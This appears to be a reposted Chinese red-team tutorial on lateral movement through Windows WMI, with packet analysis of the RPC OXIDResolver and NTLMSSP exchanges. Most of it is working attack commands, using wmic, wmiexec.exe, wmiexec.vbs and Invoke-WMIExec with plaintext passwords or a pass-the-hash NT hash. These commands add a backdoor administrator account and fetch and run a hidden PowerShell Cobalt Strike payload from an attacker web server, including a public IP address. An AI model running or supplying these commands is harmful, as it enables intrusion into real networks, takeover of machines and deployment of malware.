利用WMI横向移动

news2024/11/26 5:28:35

一. WMI介绍和使用

1. WMI介绍

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用WMI 进行攻击。
在这里插入图片描述
但是微软于 2016 年在 Windows Server 中弃用了 WMIC;于 2021 年在 Windows 10 系统中弃用了 WMIC,而且自 Windows 11 的下个版本开始,后续版本将默认禁用该工具。最终,微软将从未来的 Windows 版本中移除 WMIC。

在这里插入图片描述

微软用 Windows PowerShell for WMI 取代了 WMIC(WMIC 和 WMI 是两码事),为管理员提供了一种更有效的方式来查询 Windows Management Instrumentation。

但是在内网中还是有大部分使用的是server 2016之前的版本,所有该方法还有效!

2. 使用方法
1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" 
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c\"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

其实命令还有很多…
在这里插入图片描述
在这里插入图片描述

二. RPC协议分析 - OXIDResolve接口

DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战相应,甚至还能获取网卡IP地址列表。

接下来分析一下RPC协议中都包含了什么内容,这个对于进行安全研究有着很大的帮助!

    1. 首先使用WMI进行远程连接机器然后抓包分析
      在这里插入图片描述
    1. 分析第一个数据包,第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve
      在这里插入图片描述
    1. 分析第二个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西
      在这里插入图片描述
    1. 分析第三个数据包,利用dcom发起OXID接口的请求数据包
      在这里插入图片描述
    1. 分析第四个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等
      在这里插入图片描述

总结
从以上数据包得知:

该接口是未授权访问(并没有使用smb进行认证,只是使用RDP调用了OXID接口)
可以得到目标机器的相关信息(机器名IP多网卡等)

该技术应用非常广泛,如今FOFA GOBY ,国内红队大部分扫描器就都开始集成这个功能,甚至集成到了CS还有很多人写的脚本

三. RPC协议分析 - NTLMSSP协议

NtLmSsp这个服务主要针对RPC(远程过程调用),通常RPC可以选择基于两种通信方式,一种是传输协议,比如TCP/IP、UDP、IPX等,另一种为命名管道(Pipeline)。通常情况下Windows默认选择都是传输协议,而由于RPC是采用非加密传输的,通信数据安全无法得到保证,而NtLmSsp就可向这一类RPC提供安全服务。

接着分析数据包:

  • 1.第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型
    在这里插入图片描述

    1. 第二个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名
      在这里插入图片描述
    1. 第三个数据包:第三个数据包是response值,用于认证
      在这里插入图片描述
    1. 第四个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用
      在这里插入图片描述

四. WMI横向的利用条件

使用条件如下:
1、wmic命令需要本地管理员或域管理员权限(有UAC也可以)
2、135端口开放
3、开放445(某些脚本需要借助SMB认证)
在这里插入图片描述

五. 利用WMI众多工具进行CS上线

1、直接利用自带的wmic的命名上线
  • 第一步:先在本地用python开启一个http服务,,方便接下来测试CS上线
    在这里插入图片描述

    命令:
    wmic /NODE:192.168.41.20 /user:administrator /password:Admin123 PROCESS call create “powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.41.143:2349/payload_x64.ps1’))””

成功上线
在这里插入图片描述

2. wmicexec工具

使用方法:

wmiexec.exe 域名/用户名:密码@目标IP #哈希传递获得shell
wmiexec.exe 域名/用户名:密码@目标IP "ipconfig" #执行命令
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP #哈希传递获得shell
wmiexec.exe -hashes LM Hash:NT Hash 域名/用户名@目标IP 

其实工具上线步骤都相同
先上传WMICEXEC

在这里插入图片描述

后输入

wmiexec.exe administrator:Admin123@192.168.41.20 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

在这里插入图片描述

该工具因为还走了一些SMB认证和访问共享等行为,杀软会拦截

在这里插入图片描述

3. wmiexec.vbs脚本

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

在这里插入图片描述

使用方法:

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令“ 
上线:
cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.20 administrator Admin123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.41.143:2349/payload_x64.ps1'))"

在这里插入图片描述

4. Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下:

Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" –verbo

步骤

powershell-import powershell/Invoke-WMIExec.ps1
powershell Invoke-WMIExec -Target 192.168.41.20 -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" -verbose

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1717799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

生活杂货品牌首合作!The Green Party与数图共同探索品类空间管理全新策略!

数图服务业态再扩展,生活杂货品牌首合作,近日,数图与国内知名品牌The Green Party(绿光派对)展开合作,双方本着创新共赢的原则,携手共进,共同探索和实践品类空间管理领域的全新路线&…

Flink搭建

目录 一、standalone模式 二、Flink on Yarn模式 一、standalone模式 解压安装Flink [rootbigdata1 software]# tar -zxvf flink-1.14.0-bin-scala_2.12.tgz -C /opt/module/ [rootbigdata1 module]# mv flink-1.14.0/ flink-standalone 2.进入conf修改flink-conf.yaml job…

STM32_HAL_看门狗

介绍 STM32的"看门狗"(Watchdog)是一种硬件安全特性,用于监控STM32微控制器的正常操作。当系统出现故障或异常时,看门狗能够检测到这些情况,并采取相应的措施,通常是重置微控制器,以…

关系数据库:关系模式

文章目录 基本概述关系的相关名词术语笛卡儿积与关系关系的类型 关系模式总结 基本概述 关系的相关名词术语 关系:简单来说,就是一张二维表格。属性(Attribute):也称字段或列,在现实世界中,要描述一个事务常常取若干…

私域加持业务 快消门店运营新玩法

两个月前,某快消品企业的李总急切地联系了纷享销客,希望能找到解决终端门店运营难题的有效方法。 Step1、连接终端门店,导入私域进行深度维系与运营 一、与终端门店建立联系 为了与众多门店老板建立紧密的联系,并将他们转化为企…

ERV-Net:一种用于脑肿瘤分割的高效3D残差神经网络| 文献速递-深度学习肿瘤自动分割

Title 题目 ERV-Net: An efficient 3D residual neural network for brain tumor segmentation ERV-Net:一种用于脑肿瘤分割的高效3D残差神经网络 01 文献速递介绍 脑肿瘤在全球范围内是致命的,与其他类型的肿瘤相比。胶质瘤是最具侵略性的脑肿瘤类…

pyinstaller将py文件打包成exe

pyinstaller将py文件打包成exe 一、为什么需要将python文件打包成exe文件?二、具体操作步骤一、为什么需要将python文件打包成exe文件? python文件需要在python环境中运行,也就是需要安装python解释器。有时我们自己写的python程序需要分享给自己的朋友、同事或者合作伙伴,…

两数之和 II - 输入有序数组,三数之和

题目一&#xff1a; 代码如下&#xff1a; vector<int> twoSum(vector<int>& numbers, int target) {int left 0;int right numbers.size() - 1;vector<int> ret;while (left < right){int tmp numbers[left] numbers[right];if (tmp target){r…

flink 操作mongodb的例子

简述 该例子为从一个Collection获取数据然后插入到另外一个Collection中。 Flink的基本处理过程可以清晰地分为以下几个阶段&#xff1a; 数据源&#xff08;Source&#xff09;&#xff1a; Flink可以从多种数据源中读取数据&#xff0c;如Kafka、RabbitMQ、HDFS等。Flink会…

SpringBoot案例,通关版

项目目录 此项目为了伙伴们可以快速入手SpringBoot项目,全网最详细的版本,每个伙伴都可以学会,这个项目每一步都会带大家做,学完后可以保证熟悉SpringBoot的开发流程项目介绍:项目使用springboot mybatis进行开发带你一起写小项目先把初始环境给你们第一步新建springboot项目返…

HTTP协议介绍与TCP协议的区别

1、HTTP介绍 HTTP&#xff08;超文本传输协议&#xff0c;Hypertext Transfer Protocol&#xff09;是一种用于从网络传输超文本到本地浏览器的传输协议。它定义了客户端与服务器之间请求和响应的格式。HTTP 是基于TCP/IP 进行数据的通信&#xff0c;通常使用端口 80/8080。HTT…

项目纪实 | 版本升级操作get!GreatDB分布式升级过程详解

某客户项目现场&#xff0c;因其业务系统要用到数据库新版本中的功能特性&#xff0c;因此考虑升级现有数据库版本。在升级之前&#xff0c;万里数据库项目团队帮助客户在本地测试环境构造了相同的基础版本&#xff0c;导入部分生产数据&#xff0c;尽量复刻生产环境进行升级&a…

机器学习笔记(1):sklearn是个啥?

sklearn 简介 Sklearn是一个基于Python语言的开源机器学习库。全称Scikit-Learn&#xff0c;是建立在诸如NumPy、SciPy和matplotlib等其他Python库之上&#xff0c;为用户提供了一系列高质量的机器学习算法&#xff0c;其典型特点有&#xff1a; 简单有效的工具进行预测数据分…

GEYA格亚GRT8-S1S2间歇性双时间循环继电器时间可调交流220V 24v

品牌 GEYA 型号 GRT8-S2 AC/DC12-240V 产地 中国大陆 颜色分类 GRT8-S1 A220,GRT8-S1 AC/DC12-240V,GRT8-S2 A220,GRT8-S2 AC/DC12-240V GRT8-S&#xff0c;循环延时&#xff0c;时间继电器&#xff1a;LED指示灯&#xff0c;触头容量大&#xff0c;电压超宽&#xff0…

构建树结构的几种方式

表结构 CREATE TABLE sys_dept (dept_id bigint(20) NOT NULL AUTO_INCREMENT COMMENT ID,pid bigint(20) DEFAULT NULL COMMENT 上级部门,sub_count int(5) DEFAULT 0 COMMENT 子部门数目,name varchar(255) NOT NULL COMMENT 名称,dept_sort int(5) DEFAULT 999 COMMENT 排…

【C#】类和对象的区别

1.区别概述 结构体和类的最大区别是在存储空间上&#xff0c;前者是值类型&#xff0c;后者是引用类型&#xff0c;它们在赋值上有很大的区别&#xff0c;在类中指向同一块空间的两个类的值会随一个类的改变而改变另一个&#xff0c;请看如下代码所示&#xff1a; namespace …

020.有效的括号,用栈来解决的 Java 版 LeetCode 刷题笔记

题意 给定一个只包括 (&#xff0c;)&#xff0c;{&#xff0c;}&#xff0c;[&#xff0c;] 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序闭合。每个右括号都有一个对应的相同类型…

FreeRTOS【12】队列集使用

1.开发背景 基于以上的章节&#xff0c;了解了 FreeRTOS 多线程间的信号量、队列的使用&#xff0c;已经满足了日常使用场景。这个篇章要介绍的是队列集&#xff0c;实际上队列的升级版&#xff0c;存储信号量和队列等的触发事件。 队列集在实际的开发项目中应用相对比较少&…

linux同步搭建多台服务器

前言&#xff1a; 如果在安装服务器的过程中&#xff0c;需要安装多台服务器&#xff0c;同样的配置&#xff0c;同样的步骤就可以使用此方法&#xff0c;搭建集群同步安装 1.配置网卡 想要两台机器进行同步的话&#xff0c;必须网段是同样的&#xff0c;保持在同一网段并且能…

科技智慧园区解决方案

随着科技创新的推动和城市化进程的加速&#xff0c;城市面临着诸多挑战和机遇。如何提升城市的竞争力和可持续性&#xff0c;是一个亟待解决的问题。在这个背景下&#xff0c;科技智慧园区作为一种新型的城市发展模式&#xff0c;引起了越来越多的关注和探索。 什么是科技智慧园…